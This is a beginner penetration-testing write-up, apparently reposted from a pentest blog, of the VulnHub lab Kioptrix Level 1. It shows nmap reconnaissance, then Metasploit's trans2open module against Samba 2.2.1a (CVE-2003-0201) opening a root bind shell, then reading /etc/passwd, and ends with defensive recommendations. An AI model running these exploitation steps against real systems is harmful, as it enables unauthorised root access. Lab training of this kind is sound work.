Exploit for CVE-2003-0201

## https://sploitus.com/exploit?id=F5B19AA9-75A3-5982-874E-B581AB8AA0F4
# pentest-writeups
Kioptrix Level 1 writeup - CVE-2003-0201 Samba trans2open


# Kioptrix Level 1 — Penetration Testing Writeup
**Author:** Amirbek Raxmatullayev (@americo_444)  
**Date:** 2026-06-17  
**Platform:** VulnHub  
**Difficulty:** Beginner  
**Objective:** Gain root access  

---

## 1. Environment Setup

| Component | Details |
|---|---|
| Host OS | Ubuntu 26.04 |
| Hypervisor | QEMU/KVM |
| Target | Kioptrix Level 1 (VMDK) |
| Attacker IP | 192.168.56.1 |
| Target IP | 192.168.56.101 |

**Note:** VirtualBox was incompatible with kernel 7.0.0-22-generic due to a DKMS KVM namespace conflict. Switched to QEMU/KVM and loaded the VMDK directly without conversion.

```bash
qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk
```

---

## 2. Reconnaissance

### 2.1 Host Discovery
```bash
nmap -sn 192.168.56.0/24
```
**Result:** Target identified at `192.168.56.101`

### 2.2 Full Port & Service Scan
```bash
nmap -sV -sC -p- 192.168.56.101
```

**Open Ports:**

| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 2.9p2 |
| 80/tcp | HTTP | Apache 1.3.20 |
| 111/tcp | RPC | rpcbind 2 |
| 139/tcp | SMB | Samba 2.2.1a |
| 443/tcp | HTTPS | mod_ssl/2.8.4 |
| 32768/tcp | Status | RPC #100024 |

### 2.3 SMB Version Enumeration
```bash
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"
```
**Result:** `Samba 2.2.1a` — critically vulnerable version confirmed.

---

## 3. Vulnerability Analysis

### CVE-2003-0201 — Samba trans2open Buffer Overflow

**Description:**  
Samba versions 2.2.x contain a stack-based buffer overflow vulnerability in the `trans2open` function. This allows an unauthenticated remote attacker to execute arbitrary code as root.

**Affected Versions:** Samba 2.0.x — 2.2.8  
**CVSS Score:** 10.0 (Critical)  
**Exploit Module:** `exploit/linux/samba/trans2open`

---

## 4. Exploitation

### 4.1 Metasploit Configuration
```bash
msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run
```

**Why `bind_tcp` instead of `reverse_tcp`?**  
The `reverse_tcp` payload failed because the Kioptrix VM could not reach back to the attacker through the NAT/bridge configuration. With `bind_tcp`, the attacker connects to the target — no outbound connection required from the victim.

### 4.2 Exploitation Output
```
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)
```

**Shell obtained!** ✅

---

## 5. Post-Exploitation

```bash
whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash
```

**System Information:**
- OS: Red Hat Linux, Kernel 2.4.7 (built in 2001)
- Local users discovered: root, john, harold

---

## 6. Attack Chain

```
[Attacker: 192.168.56.1]
        |
        | Step 1: nmap full port scan
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a identified
        v
[Metasploit — trans2open exploit]
        |
        | Step 3: Stack buffer overflow triggered
        v
[Bind shell opened on port 4444]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]
```

---

## 7. Key Takeaways

### What I Learned:
- Setting up a lab environment with QEMU/KVM when VirtualBox fails
- Service fingerprinting with `nmap -sV -sC`
- SMB enumeration using Metasploit auxiliary modules
- Understanding CVE-2003-0201 — stack buffer overflow mechanics
- Difference between `bind_tcp` and `reverse_tcp` payloads and when to use each

### Defensive Recommendations (Blue Team):
1. Upgrade Samba to version 3.x or later
2. Restrict ports 139/445 via firewall — allow only trusted internal hosts
3. Apply all available OS and service patches
4. Implement network segmentation — SMB should never be exposed externally
5. Deploy IDS/IPS rules to detect buffer overflow attempts on SMB

---

## 8. Tools Used

| Tool | Purpose |
|---|---|
| nmap | Port scanning, service/version detection |
| Metasploit Framework | SMB enumeration, exploitation |
| QEMU/KVM | Lab virtualization |
| arp-scan | Host discovery |

---

## 9. References

- [CVE-2003-0201 — NVD](https://nvd.nist.gov/vuln/detail/CVE-2003-0201)
- [Rapid7 — trans2open Module](https://www.rapid7.com/db/modules/exploit/linux/samba/trans2open/)
- [VulnHub — Kioptrix Level 1](https://www.vulnhub.com/entry/kioptrix-level-1-1,22/)

---

*Written by Amirbek Raxmatullayev | BEK Coders Security Research | 2026*